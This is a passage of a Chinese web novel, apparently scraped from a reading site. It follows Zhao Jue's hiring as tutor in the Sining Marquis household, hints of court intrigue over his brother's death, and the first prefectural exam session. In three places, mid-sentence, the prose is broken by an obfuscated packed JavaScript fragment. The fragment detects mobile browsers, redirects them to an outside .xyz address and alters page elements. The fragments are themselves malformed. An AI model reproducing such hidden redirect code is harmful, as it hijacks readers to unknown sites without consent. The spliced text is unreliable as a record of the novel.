游怜柑放下策论，对游仁泰笑道，“父亲，儿子先不论文章深度，先提一提此人的字迹。” 说着，他将策论摊平在桌上，“印如程墨。” 印如程墨，这四字常用于科举考官评语。 程墨，是本朝官方版印的科举优秀答卷合集，采用统一的台阁体，作为考生书写范本。 得此评语的考生，常可提档一级。比如前内阁首辅，因字类程墨，在会试中从二甲升到一甲。（化用自明朝内阁首辅张居正的经历） 游仁泰位居三品，没考过科举也听过“印如程墨”这四个字。他指指那策论，游怜柑立刻双手献到面前。 “这字迹，的确不凡，”游仁泰由衷感叹，又拿给身边邓氏看。 邓氏工于书画，看见的一瞬，眼眸明显亮了，“我竟不知，本朝有如此才人？侯爷，吾以为，单看此人这一手字迹，他便足够教导三郎的编哥儿了！” 听了这话，全场最紧张的游乘，终于松了口气。 他不能抬头，只等着祖父游仁泰最后的定夺。 “行，请乘哥儿将此人带来府上，试一试？” 游乘心跳如鼓，起身，对祖父游仁泰拱礼，颤声道，“孙儿得命。” 这天大的好消息，由游乘送去了外城的千家胡同。 天下着小雨，游乘下了马车，沿巷子跑进去，边跑边喊，“玄蒙兄！” 雷暴过后，这里的一切正在慢慢重建。 巷子两旁的宅子多在修外墙，不少工匠停手，望着游乘不算陌生的面孔，议论纷纷，“游大公子来了。” 游乘慢下脚步，颔首回应，远远看见赵家宅子门前，蹲着个年轻男子，正是赵决。也不知他掰着手指算计什么，嘴里振振有词。 “玄蒙兄，有好消息！”游乘在他身边蹲下。 赵决一抬手，不耐地啧声，“闭嘴，等我算完账先。” 口中又念起来，“三月租金一两，一年是四两……五年就是二十两……狗攮的！破宅这贵，哪租的起？我租它个逑！罢罢罢！睡大街得了。” 26. 府试备考2 春雨无声，赵家门前的石墩上仍摆着那盆文竹，瞧着比前几日更翠绿些。赵决见游乘对文竹爱不释手，介绍说，文竹是他哥生前养的，现下哥哥不在，留下文竹，就是他唯一的宝贝。 游乘想起赵斯的官方死因，如果他真是被山洪冲走，怕连个坟头都无法堆起，未免太凄凉。 正想着，游乘听赵决问：“那日，介舟兄带我哥去报官，后来发生了什么？” 那晚的事，回忆起来尽是心痛。游乘的鼻子发酸，却故意对赵决笑道，“后来啊，彦维闹了肚痛！我和赵哥哥只好带他看医，折腾到时辰晚了，也就没去县衙。” 赵决认真地听着，眨眨眼，“原来没去，难怪哥哥回家后也没提报官的后续。不过，他那晚离家前，倒与我说了不少介舟兄的好话。” 游乘一愣，“赵哥哥怎么说的？” 赵决若有所思，望着那盆文竹，“哥哥说，介舟兄是值得信任的后起之秀，将来必成国之大才！” 眼眶一热，游乘忙背过身，快速抹去泪水。 赵决绕到他面前，道：“介舟不必躲，哥哥过世后，我每每想起哥哥，也会哽咽、痛心。这是人之常情，但人不能烂在悲伤里！要往前走，带着我哥的一份，好好生活。” “玄蒙兄真这样想？”游乘放下袖子，缓缓回头看着赵决。认识以来，他第一次仔细打量了赵决的面相。 此人生于上京外城区，在贫困巷弄长大，却能写一手精美绝伦的台阁体。 此人张口就是粗鄙之言，攻击力强，如上等刺客，但又粗中有细，面对唯一亲人的死离，能乐观微笑，讲出“要往前走”的话，宽慰自己与外人。 “如此一看，玄蒙兄好像很有做老师的潜质……” 此话让赵决怔忪，“做老师？！” 游乘坦白道，“差点忘了，我今日来有好消息相说。” 又将赵决拉近，凑到她耳边说话。 赵决一惊，“你、你、你觉得我能胜任这份重托？” 游乘点点头，“没人比玄蒙兄更合适。” 二人上马车详议。游乘将家中三弟的基本情况介绍完，也将三伯对驻家西席的要求讲清楚。眼看赵决的脸色越来越心虚，游乘按住他的肩，“玄蒙兄的条件，相当匹配。” 赵决仍是摇头、摆手，“不行。我这人没什么耐心，不高兴了就口无遮拦……你三弟身份贵重，万一我冲撞他，岂不要步我哥后尘，怎么死都不知道？” 游乘坚定道，“可玄蒙兄不在我眼前，我如何护玄蒙兄？” 赵决又是一愣，“游介舟，我几时需要你护我？是我哥那天求你了？你们司宁侯府与我哥有交易？我哥那晚不明不白地没了，你们司宁侯府的三爷荣耀披身，官进了两级，这合理吗？游介舟，我问你这合理吗！” 游乘的领口被赵决拎起来也没反抗，“玄蒙兄，我也这样问过母亲，她说，赵斯哥哥同意上交证据的时候，没提任何要求。她还说，赵斯哥哥没了，是意外，是天灾。” “天灾？” 赵决怒不可遏，喝道，“游介舟你告诉我，你信那是天灾吗？” 游乘哽咽道，“我当然不信。赵哥哥定是被人灭口，而灭口的人……便是前顺天府丞肖骁的幕后指使。” 赵决慢慢松了手，“那介舟有没有问令慈，幕后指使究竟是谁？” 游乘道，“没有。就算我问，母亲也不会告诉我。我与玄蒙兄一样，从前一心读书，此次接触朝堂争斗，内心受到的震颤，还需时间调整。但我以为，用不了太久，幕后人自会浮出水面。” 赵决退开一步，抱起手臂，“我暂且信你。” 游乘把衣领拉正，“既然如此，事不宜迟，玄蒙兄准备一下，随我进司宁侯府。” 天色已暗。赵决确实还没想好今晚睡在哪条大街，但上京有宵禁，他不想被兵马司的巡夜官差带走，更不想因此挨几十笞刑。 马车走起来的时候，赵决仍没什么把握能拿下游家三公子。游乘与他出主意，“我三弟再难教，也不过一个八岁孩子。” 此言惊醒了赵决。他让游乘等一等，兀自跳下马车，又跑进巷子。半柱香的工夫，他捧着一只干葫芦回来。游乘笑问：“又是什么宝贝？” 赵决没回答。 进侯府时，天彻底黑了。游乘让人去正院请示，说请到了“赵先生”。祖父不在，祖母带了回话，让游乘领着“先生”在东园厢房住下，明日再见三房的编哥儿。 东园，是阿桔来开院门。 游乘看向里屋方向的灯光，问阿桔，“父亲母亲还没睡？” 阿桔点头，“大爷夫人担心您，哪能先睡？厨房有热汤和热饭，给您端到南屋，和赵公子一起吃？” 赵决忙拱礼，“多谢姐姐照料。” 阿桔呵笑一声，“错了错了！您和乘哥儿一样称‘姑姑’吧！”说完，笑着去了厨房。 进南屋，游乘先去二弟床前，看小子睡得正香，咂摸着嘴，不知梦到什么美味。再回头，见赵决又在捣鼓带来的干葫芦。 吃了热汤饭，赵决去侧院的厢房休息。 一夜过去，天刚擦亮，游乘听见父亲出门上朝的动静，便起了床给游余掖被角。游余揉着眼睛问，昨夜是不是赵决来？ 正说曹操，曹操自己推开南屋门，对游余挥手道，“彦维兄早！” 游余一骨碌下床，跑来拍赵决的脸，“真是你小子！” 游乘拿来游余的薄袄，“天冷，别着凉。” 又与赵决说，“母亲习惯多睡会，玄蒙兄不必去请好，一会用过早膳，先去正院见我祖母。” 阿桔也进了屋，递给游余一顶新棉帽，“哦，三爷让人带了话，说就在正院书房试讲，三夫人一会陪编哥儿过去见面。还有，四爷今日不在。” 游乘怔住，“祖父不在，我爹不在。四伯也不在，让谁定夺呢？” 阿桔想了会，“不是有老夫人和三夫人？再则，赵先生能不能留，不还是编哥儿一句话的事！” 赵决挠着鼻子，“……姑姑分析得有理。” 见他木讷的反应，游乘笑了笑，“才第一天，就被我家这些叔伯婶婶弟弟绕晕了？” 赵决道，“司宁侯府，人丁兴旺。” 游乘不否认，“家里长辈和弟弟妹妹，都很善良，只除了……罢，你抓紧，我去院中等你。” 县试放了榜，游余今日要代表哥哥去尊师袁敞家中拜谢，由虞次送出了侯府。 游乘领着赵决在正院书房等，贞嬷嬷带话来，说邓氏身困还没起，不必请礼。 又一会，贞嬷嬷牵着三房游编进来。游乘没见着李氏，问：“三伯母呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053837|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”贞嬷嬷说：“三夫人赶着去书局，来不及等了。她说，请老师这事交给乘哥儿你，还有什么不放心？” 游乘看看身边的赵决，“那我就作个主，有劳赵先生，给三弟试讲一堂课。” 赵决拱手，看向门口的安静少年，“三公子请。” 游编挪了一小步，犹豫地望着大哥游乘，“乘哥哥能不能不走？” 游乘上前握着游编的手，送到赵决手里，“三弟乖，赵先生为人很和善、很有趣的，他会好好教三弟。” 游编摇头，“我不要。” 赵决弯起嘴角对游编道，“三公子看，我给您带了礼物。” 游编往他袖袋里瞅了一眼，“送我的？” 赵决将他轻按在椅子上，边拿出《千字文》边说，“三公子听完一堂课，礼物就归您了。” 他生硬的动作、表情落在游乘眼底，游乘心里动了几下，心道：真是难为玄蒙兄。 等在书房外，度日如年，游乘取出三枚金钱卦，且给赵决和游编算算有无师生缘。 正解卦象，见书房门开。 游乘收起金钱卦，起身就见三弟主动拉着赵决的手，喜笑颜开的，不由疑惑地看向赵决，“情况还不错？” 赵决点头，“介舟兄说的对，三公子就是个孩子。” “乘哥哥，我听了老师的课，能去玩么？”游编手上抱着那只干葫芦。 游乘回神应声“好”，让丫鬟跟游编出了正院大门。 他瞧着刚才那葫芦眼熟，便问赵决，“你送了他啥？” 赵决想了想，“是司宁侯府孩子肯定没见过的宝贝。” 左不过是个哄孩子的玩意儿，游乘没特别在意。 回东园，母亲容氏得知一切顺利，没多问别的。谁知入了夜，阿桔急慌慌从三房打探到消息，说三夫人起夜给编哥儿盖被子，在他床上发现只蝈蝈，被吓哭了。 “咱三爷看着那葫芦里的蝈蝈，气得……打也不是，骂也不是！” 看来，这只蝈蝈便是赵决说的“宝贝”了。 阿桔这边刚说完，东园的大门被推开。 大爷游怜山三步并两步，到了游乘和赵决跟前，抬手点了点游乘，怒声喝道：“你……你们！” “爹，”游乘拦在赵决前面，“都是儿子的主意。” 赵决忙解释，“大爷明鉴！介舟兄长这么大，都没见过蝈蝈，怎可能是他的主意？大爷要罚就罚玄蒙一人。” 游怜山仰天叹气，“要罚也不是我罚。你俩现在就去西园三房，看三郎怎么决断吧。” 这时，容芝才从里屋出来，向阿桔问明了情况。 赵决拱手，“大夫人，其实白日多亏有那蝈蝈，不然，三公子都无法安静坐着，听玄蒙讲完课。” 家中孩子如何，游怜山、容芝岂非不知。 容芝明白，赵决用这办法吸引游编听讲，并无恶意，问题就出在三房李氏被吓着了。 “此事，可小可大。” 容芝对游怜山道，“咱们先带赵决和游乘去三房赔礼，这是首要的。三弟妹不是不讲理的泼妇，她只是胆小罢了。也好在，赵决送的是蝈蝈，不是什么蛇鼠……” 赵决羞得低下头，“大夫人，玄蒙再不敢了。” 容芝道，“玄蒙该道歉的不是我，快去三房吧。” 27. 府试备考（3） 西园院前，游乘敲了敲门。 听丫鬟应声，脚步响起，他最后与赵决交换一眼，“玄蒙，我三伯一家都是良善之人，咱们将事说清，好好给三伯母道歉，定不会有事的。” 赵决点了头，面色稍松。 院门开了，提灯笼的丫鬟喊了“大爷”、“大夫人”，也给游乘福了礼，却在见到赵决时，微微怔神。 容芝笑道，“阿雪，这位是给编哥儿新请的驻家老师，赵玄蒙，赵先生。” 阿雪忙垂眸，福礼道，“奴见过玄蒙先生！” 赵决同样拱礼，“深夜打扰阿雪了。” 阿雪摇头，给几人做请，“三爷和三夫人在正堂等。” 游乘接过阿雪的灯笼，为父母和玄蒙兄引路。 正堂里烛火通明，几人还没走近，便听见三哥儿游编的哭声。游乘看看母亲容芝，容芝拉上他的手，母子俩打先锋，快步跨入门槛。 “三郎，三弟妹！”容芝到了李氏跟前。 “大嫂来了……”李氏脸煞白地起身，来抱容芝的手是冰凉的。 “别怕，没事了，”容芝心疼地捧住李氏的手。 李氏倚靠着容芝，小声地抽泣，没再说话。 另一边，赵决给三爷游怜钊拱礼，“玄蒙给侍郎大人请安，今日让三夫人受惊，全怪玄蒙，愿担一切责罚。”说着，他双膝跪在了游怜钊的脚边。 “这是做甚？快起来！” 游怜钊将赵决从地上拉起，四目相对，终是认出这位驻家西席，“玄蒙是赵御史的弟弟？” 赵决颔首道，“是。” 游怜钊听言，面色明显冷静下来，而后，转向一旁的儿子游编，道，“哥儿，事到如此，爹都忘了问问你，喜不喜欢……那只蝈蝈？” 游编正懊悔地垂着脑袋，闻言嘴角一扬，“爹，我喜欢！” 孩子的心从不作伪，只见游编边说边跑去赵决身边，一把抱住赵决的袍角，仰起脸，“我喜欢蝈蝈，更喜欢赵先生！” 一句耿直的真心话，逗得赵决面红耳赤，也逗得三爷游怜钊大笑。 这一幕落在容芝眼中，她低头为怀中的李氏拍背，却对三郎游怜钊道，“今日这事吧……确是玄蒙和乘哥儿没办好，不小心冲撞三弟妹，他俩理应赔罪。” 赵决立刻又要跪下，又被游怜钊拦住。 游怜钊笑道，“玄蒙不久后考中府试、院试，便有了秀才功名，见官都可不跪。我嘛，也不过是个官！来日，大家成了同僚，我还想与玄蒙成为朋友呢！今日，免了吧。” 话到此处，三房李氏也开了口，“三郎说得是。一只蝈蝈，被我闹成这样，是我大惊小怪，见识太短。若我早认出它是为人玩弄的蝈蝈，其实，不会害怕的。” 游怜钊到李氏身侧给她抹泪，怜惜道，“没事了。” 李氏重重点头，抱紧了游怜钊。 “三弟与弟妹，伉俪情深，倒叫我这大哥好生羡慕！” 游怜山这时才出了声，不经意间到了容芝身畔，从后环住容芝的肩。 容芝仰头斜他一眼，他只好尴尬地松了手。 李氏笑着羞红了脸，把脸往深处埋。 游怜钊却低头吻在她的发上，又牵起儿子游编的手，送去赵决面前，大度道，“我能看出，玄蒙先生想教好我的编儿，今后就请玄蒙先生多费心，帮我们教导好编儿。至于，玄蒙先生入府的公文……” 容芝笑道：“按咱们侯府的规矩来吧，先让管家郑伯拟公文，再请三郎送到父亲手上，由他老人家画了押，此事才算作数！” 游怜钊片刻思索，低头对李氏道，“夫人以为如何？” 李氏眨巴眼睛，“大哥大嫂办事一向妥帖，三郎和我都没意见，且定了玄蒙先生做编哥儿的西席吧。” 又望向一脸木然的赵决，轻道，“便有劳玄蒙先生！” 赵决再拱礼，“三夫人请放心，玄蒙定不负三爷与您的信任。” “只是……”李氏又道，眼睛偏向了容芝。 此一眼，容芝就看懂了李氏在发愁什么，忙说，“这玄蒙先生，昨晚已在东园厢房住下了，若三郎、三弟妹同意，不用让玄蒙先生搬来搬去，就住东园？也方便他与乘哥儿、余哥儿讨论文章，一起考府试院试嘛。” 李氏大约是这意思，对三郎游怜钊道，“三郎愿意么？” 游怜钊看李氏，满眼怜爱，“这样，只好麻烦大哥大嫂代为关照玄蒙先生。” 大哥游怜山道：“应该的！” 容芝与游乘，亦是点头。 事情都谈妥了，游怜山先领着游乘、赵决离开。 容芝稍微留了一会，拿出一顶虎头棉帽，塞到李氏手里，“早两天就缝好啦，送给绵姐儿的。” 三房次女游绵，才两岁大，李氏看看里屋，“丫头睡熟了，我替她谢谢大嫂。” 容芝摆手，“明日让姐儿戴着它去东园玩儿！我下厨，做小馄炖给几个孩子吃！弟妹也去吃，要吃两大碗，瞧你瘦的……” 几句最简单的贴心话，又让李氏落了泪。 容芝招呼阿雪来扶好李氏，请三郎游怜钊留步不必送。出了西园院门，她冲灯笼光的地方喊，“大爷！” 游怜山应道，“为夫在呢，夫人跑几步来。” 听脚步远去，西园门前的三房夫妻才放心地回了院。 屋檐下，李氏牵着游怜钊，轻声地问，“三郎决定留下赵决先生，是因为对他哥哥有愧？” 赵家的事闹得满城风雨，就算游怜钊没与李氏提过，以李氏的聪明，她未必想不到案子的背后。 游怜钊点点头，“既是查案办案，哪有不牺牲的？今后，也说不定我自己就会成为牺牲品。” 李氏忙捂了他的嘴，低道：“三郎不许胡说……” 游怜钊一笑，反握她的手将她横抱，走进了里屋，“襄儿，若对赵玄蒙心有芥蒂，少去东园便是。” 李氏望着游怜钊，“赵玄蒙为人蛮了点，却没坏心，兴许真能带动编哥儿，让孩子脾性活泛起来。” 游怜钊吹了蜡烛，“我只要襄儿和孩子没事，其他可以不计较。” 次日天才擦亮，东园已点亮了烛火。 大郎游怜山赶着去宫里早朝，到膳房拿上阿桔做的夹肉煎饼，边走边吃。经过南屋，他往里看了一眼，正好对上儿子游乘的一双眼睛。 “儿子送父亲！”游乘出来时，身边还有游余与赵决。 “玄蒙送侍郎大人！”赵决学游乘的礼数。 游怜山满意地点头，指着靠在游乘身上的游余，“他这是……被你俩强拉起床的？困得眼睛都睁不开，哈哈——时辰不早，我走了走了！” 进宫的马车停在侯府门外。 游怜山进马车等了片刻，与二弟游怜钊一路出发。 路上兄弟俩说起李氏，游怜钊直让游怜山宽心，显得颇为大度。 游怜山清清嗓子，“大哥真挺羡慕二弟与弟妹的感情。” 游怜钊正喝茶，被呛得咳嗽，“……大哥想说什么？” 话到了嘴边，游怜山却惨笑道，“唉，我与二弟，是各有各的苦。到咱这年纪，不求别的，只愿孩子能好。” 游怜钊附耳过来，“大哥有难事，可与我说说的。” “我没难事！”游怜山推开他，闷声不响垂了头。 穿来这个世界十年有余，游怜山至今睡在外间的硬榻上。虽说容芝不向他提和离的话了，两人感情不明不白地拖着，也不是事儿。然而这些话，他如何说给外人听。 宫门到。 游怜钊先下马车，迎着北风走，站去刑部阵营里。 等游怜山出来时，嘴里念念叨叨，“现下，游乘那小子的科举走上正轨，也不缺朋友了，还能做点什么？” 虞次憋笑道，“乘哥儿还差个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059202|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻子。” 游怜山一愣，“是呢。” 虞次又说，“但乘哥儿说，对娶妻之事，无兴趣。” 游怜山拢着袖子，哼道：“他这么说，是他还小……家之所以叫家，只因家中有妻。此事必须抓紧张罗，等俩小子及第了再找，哪儿还来得及？” 虞次把脚蹬收好，“听大爷口气，已有目标了？” 游怜山笑了笑，“是他母亲的提议，不知能不能成。” 虞次太好奇了，“谁家的娘子啊？” 游怜山道，“不能讲，不能讲。”说完，朝队伍靠前的礼部阵营过去。 宫门前，北风正狂。 倒春寒的天儿不好挨，行伍出身的大理寺卿游仁泰有点扛不住，把风帽一扯再扯。 “寺卿大人？”开口的是内阁首辅李经章。 游仁泰回头，见身边官员在给李经章行礼，忙行了一礼，“李首辅。” 李经章倾身，笑道，“怪冷的天，你怎么不用手炉？”便将自己的给了游仁泰。 游仁泰是粗人，用不惯这种精贵的东西，但今日李经章当众给了他，他不可不识抬举，便说，“谢谢首辅大人。” 李经章看他一眼，嘴角含笑，“亲家不必拘谨，老夫只想问问，前日你家三郎经办的，前顺天府丞肖骁一案，可是走到你大理寺了？” 游仁泰听了大为惊讶。 此案证据确凿，肖骁被秋后问斩之结局，旁人不敢打听半个字，唯独这李经章表现得过分关心。 见他不语，李经章一挑眉，“寺卿别紧张。此案牵扯了二十几个科举操控事件，引发朝野动荡，是在所难免的。圣上那边，对此虽无明言，心中岂会毫无顾虑？” 说着，李经章又转向身后的游怜山，“镜水是礼部左侍郎，不妨也说说，是不是这样？” 游怜山颔首，“下官刚到礼部，诸事未清，不予评说了。” 李经章又笑，“行，不聊公事，那咱说说给编哥儿请的西席。听家女李襄说，那驻家老师，姓赵？” 游怜山答道，“是。老师就是此次县试的榜三赵决，家父对此人，也颇为满意。” 游仁泰闷闷一愣。 被套进麻袋的他，直到此刻，才知晓了那人的身份。赵决是谁？游仁泰太知道了。眼下游怜山说他对赵决满意，他竟也无法反驳。那日家宴上，一家子人联合起来举荐一个赵决，他当时确实表达过满意。 “寺卿大人已选定了此人？”李经章问道。 游仁泰回神，道，“是，早晨我收到了三郎让管家拟定的公文，刚在马车里已签字画押。” 游怜山听了这话真想夸一夸三弟，不愧行伍出身，办事又快又准。 “既已定了，老夫自当道喜，”不等回应，李经章甩袖而去。 游仁泰躬身相送，而后，压着嗓子对游怜山怒道，“此事，三郎必定受了你教唆！大郎好手段，算计到为父头上了！” 游怜山忙行礼，“不敢，儿子不敢。” “你胆大得很，这天底下，你有何事不敢？！”游仁泰亦甩袖而去。 恰好宫门开了，众官员奋勇争先，有序地上前。 游怜山慢了一步，被挤去一边，差点摔倒，人群里有人扶了他一把。 回头见是老领导工部尚书秦舒，游怜山道一句，“幸有秦公。” 秦舒松开他，淡声问道：“如何？” 游怜山疑惑，“什么如何？” 秦舒笑了声，“镜水家两位士子，四月要参加府试。你现在得罪了李经章，准备如何办？” 游怜山看着秦舒，“您是指府试阅卷？” 秦舒点头，“本朝有律，内阁有权抽检府试的考卷。你不怕李经章大手一抬，让乘哥儿、余哥儿……还有赵决的考卷，统统作废？” 游怜山惊道，“我怕！还请秦阁老指点。” 四月，府试开考。 28. 府试第一场 府试第一场当天，游乘游余和赵决同乘马车抵达。但见顺天府贡院前，士子聚集，热闹一片。他们三人有县试的经验，各自带齐笔墨、吃食、水壶等等，站去入场队伍末尾。 没一会，刘与之亦提着书箱跑来，与游乘游余见礼。 这两月里，上京城春花烂漫，却苦了患有花粉不适症的刘与之。他听父母之命，没必要绝不出门，待到今日，才好不容易又见昔日好友，自然喜不自胜。 “赵决？你真做了游家的西席先生？”刘与之拍拍赵决的素锦春衫。 赵决有模有样拱礼，“往后请子应兄多关照。” 刘与之揽住他的肩，“哪儿的话？你既是游乘游余的朋友，当然也是我朋友。出门在外，哪有人嫌朋友多？” 几人脾性皆是爽直，三言两语间就闹到一块儿，仿佛之前县试时的拳脚相向，早已经被翻了过去。 正说笑，赵决的后脑勺被人掼了下。 “赵兄？如今攀上司宁侯府，没忘了咱们吧？”说话之人穿一身灰衫，布料洗到发白，面相却文气，应也是参加府试的士子。 赵决忙行礼，笑道，“齐兄！” 齐姓士子点头，似是满意，眼眸落在了游乘游余身上，拱手道，“见过几位贵公子。” 游乘游余回了礼，刘与之忽然打起喷嚏，不适症又要发作，只好摆摆手致歉。游乘帮刘与之提过书箱，让游余去扶住刘与之。 “这游家人，还不错！赵兄此次搭上游家，兄弟们也跟着高兴，”又有破衣士子说道。 齐姓士子啧了声，不赞同道，“赵兄去游家教习公子，哪是高攀？明明是游家看中了赵兄之才！” 同样的话，从不同人嘴里讲出，意思竟截然不同。 赵决抬手拱礼，“齐兄这张嘴，还是那般厉害，玄蒙自愧不如。” 齐姓士子呵呵笑，与赵决附耳道，“大家许久不聚，要不今晚结束第一场，约着去放鹤楼听戏？” 赵决看了看不远处的游乘游余二人，犹豫道，“今日恐怕不合适。下次，我定去千家胡同找齐兄喝酒？” 齐姓士子又是一声啧，“怎么？赵兄从游家赚了钱，却不愿拿出一点与兄弟们同乐？去放鹤楼听个戏，能用几个钱？” 这放鹤楼，名字文雅，却位于上京外城的千家胡同。五个人听戏，算上入场的座儿钱，再加茶点钱、点戏钱、伶人赏银，一共不到一两银。 这点钱，赵决还拿得出，他在司宁侯府做西席，包吃住，有五十两的年俸。 “齐兄体谅，不是银子的问题啊……”赵决继续推辞。 游乘转回头，听见赵决这句便走上来，问道，“玄蒙遇上了什么难事？” 一听此言，齐姓士子意味深长地笑了笑，“游大公子，可是想为赵兄解难？” 游乘正色道，“兄台不妨直说。” 齐姓士子更乐了，“赵兄想约齐某去胡同戏院玩儿，却担心误了游家二位公子回家。” 游乘微怔，看向赵决，“有此事？” 赵决缓缓点了头，“……是。” 游乘垂眸一想，对一边的二弟游余招招手，“今晚玄蒙兄请我们去听戏，去不去？” 游余是个好稀奇的，闻言眼睛一亮，“去！肯定去！” 赵决却看傻了眼，“那刘小公子，肯定要回家的吧？” 刘与之仰起头，眼泪汪汪不肯认输，“我、我也去。” “得嘞！日落后，齐某在此等候公子们，”齐姓士子说完转身而去。 赵决望着那人的背影，一想起放鹤楼的乌烟瘴气，懊悔地捏紧了拳。 游余攘了攘他的胳膊，“玄蒙，那戏院里除了听戏，有别的有趣的么？” 游乘上来拉游余，“行了，别烦玄蒙了。一会入场开考，你可要好好答题。被玄蒙挤下去，且不说，要是被子应挤出前三，你猜，袁公知道了会不会骂你！” 提起尊师袁公，游余立马老实。前日袁先生问他，府试能考第几，他估摸有赵决在，只敢说“考前三”，但他与刘与之的文章水平相差不大，也没有十足把握能绝对赢过刘与之。 “我不会输给子应的，”游余的胜负心受了刺激。 刘与之捂着鼻子，冷笑道，“行啊，看最后是谁赢。” 府试入场的流程与县试相当。 要说不同之处，便是巡场的官吏官职更高，乃是顺天府尹，正三品，等同六部的侍郎。 眼看入场队伍越来越短，游乘注意到今日的巡场府尹，他扫视过来的目光威严极了，忙转开了自己的目光。 “哥！那府尹，我在袁先生的正堂见过，”游余附耳道。 游乘哦了声，“你消息比我通，我只听闻了他姓郭。” 登时，游余抱住哥哥的脑袋，凑更近，怕被别人听见似的，“郭府尹也是袁先生的学生，哥哥以为，他会不会认识我们几个？” 游乘看游余，疑道：“如何？你还想走个捷径不成？” 游余搓搓鼻子，“我……我就随口一说。只怪最近袁先生总是表扬刘子应的文章，我有点怕。” 游乘听笑，拍他的脑门，“没事，哥哥对你有信心！” 游余望天叹气，喃喃自语，“可我对我自己没信心。” 府试第一场为正场，从黎明考到日落。 游乘答得顺利，两道四书，一道五经，一首试帖诗，都在尊师袁敞预测之内，没有太多难度。 出了场，游乘在贡院门口等了一小会，见二弟游余出来，忙宽慰说，此次几人考前三是没问题的。 又等到赵决和刘与之，四人相视一笑，往早晨约定的地方走去。 游乘看赵决面色凝重，以为他没发挥好，正要安慰，却听赵决劝他，“要不咱们直接回侯府吧？怕大夫人等久了会担心。” 不待游乘说话，游余先不满意，一把揪起赵决的衣领，质问，“玄蒙去玩，不带我们同去，没拿我们当朋友？” 刘与之也一样质问，“我近来身子不适，还想陪着一起，你却推三阻四的，到底何意？” 说完，打了个大喷嚏。 赵决仍不松口，转头看了看游乘，求道，“介舟兄，你看这事闹得。” 游乘却笑道，“一个戏院罢了，有什么值得玄蒙藏藏掖掖？难道说，那戏院还有别的营生？” 游余和刘与之都凑过来，“什么别的营生？！” 游乘管不了十七岁的刘与之，只把十一岁的游余往马车上拽，“咱不去了，娘等着呢。” 赵决听言指着游乘大笑，“……游介舟你想歪了，对不？” 这下轮到游乘尴尬，他僵了一瞬，问道：“那玄蒙来说，为何不带我们去放鹤楼听戏？” 赵决长叹，“罢了，既然你们非要去，就都去吧。” 几人正欲前行，听远处有女子喊了声“小公子”。 回眸，见是个贵门嬷嬷。 游余望向刘与之，“她来找子应的？” 刘与之没说话，沉着脸，朝嬷嬷上去，“奶娘来做甚？” 刘家奶娘福礼，掩着嘴角说，“小公子忘了？您今日与九娘子约了见面。” 刘与之道：“我还真忘了，请奶娘转告，改成明日吧。” 嬷嬷拉住刘与之，“那怎成？夫人等您的好消息呢！” 刘与之烦闷挥手，“怎么不成？九妹妹真对我有意，晚一日见面，也没关系。至于母亲那边，她急了没用……我已经说了，科举及第前，不谈婚娶。” 嬷嬷愁着脸，反正就抓着刘与之不松手。 游乘上前道一声“嬷嬷好”。 见嬷嬷笑着回礼，仍不撒手，他便说，“此处人太多，拉拉扯扯不好看，嬷嬷先松了子应，好么？” 此话在理，嬷嬷只好照做，但拉住了游乘的胳膊，“游大公子，您帮劝劝子应？今日这场见面，虽是我家夫人定的，可子应不肯见秦九娘，也得当面与小娘子说清，以免失了刘家的礼，是不？” 刘家的家务事，游乘实在不好掺和，便对刘与之说，“子应自己定，去见秦九妹妹，还是去胡同戏院？” 大家都等着刘与之，让他的脾气一下上来。他压着嗓子，怒道，“我当然去听戏！奶娘只管回府，我晚上回家，自会与母亲解释。” 游乘拍拍嬷嬷的手，“您可听见了？” 嬷嬷只好松开游乘，“好，子应自己向夫人解释，老奴管不了了。” 见嬷嬷要离开，游乘忙叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065794|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住她，“秦九妹妹那头，要有劳嬷嬷跑一趟，子应不去，不能让她一直苦等。” 刘与之也想起此，叮嘱嬷嬷，“给九妹妹送一盒奶酥，作为子应的赔礼。” 嬷嬷叹惋，福礼退去。 前往千家胡同的戏院，游家马车比刘家的稍大，足够四人同乘。游乘是最后一个进来的，把大家的书箱搬到角落里，便听赵决说起，千家胡同里的“追糕渣儿”、“炸蚂蚱”…… “哥你吃过炸蚂蚱么？”游余问道。 游乘摇头，“听虞次叔提过，但我没吃过。” 挑起话头的赵决道，“可惜现在是四月，到秋时，蚂蚱才出来活动。” 游余听了不免痛惜，“吃不了蚂蚱，还可以吃什么？” “红枣糯米切糕。” 赵决思忖道，“我哥买过一回，就一回，因为它很贵。” 不多时，马车在胡同口停下，几人没再说，掀布帘，纷纷跳下了地。 大约瞧着他们衣着光鲜，周围民众都投来了追视。 游乘被看着不自在，想起赵决提到的红枣糯米切糕，朝四下望了一圈，还真发现一个摊贩正好在卖切糕。 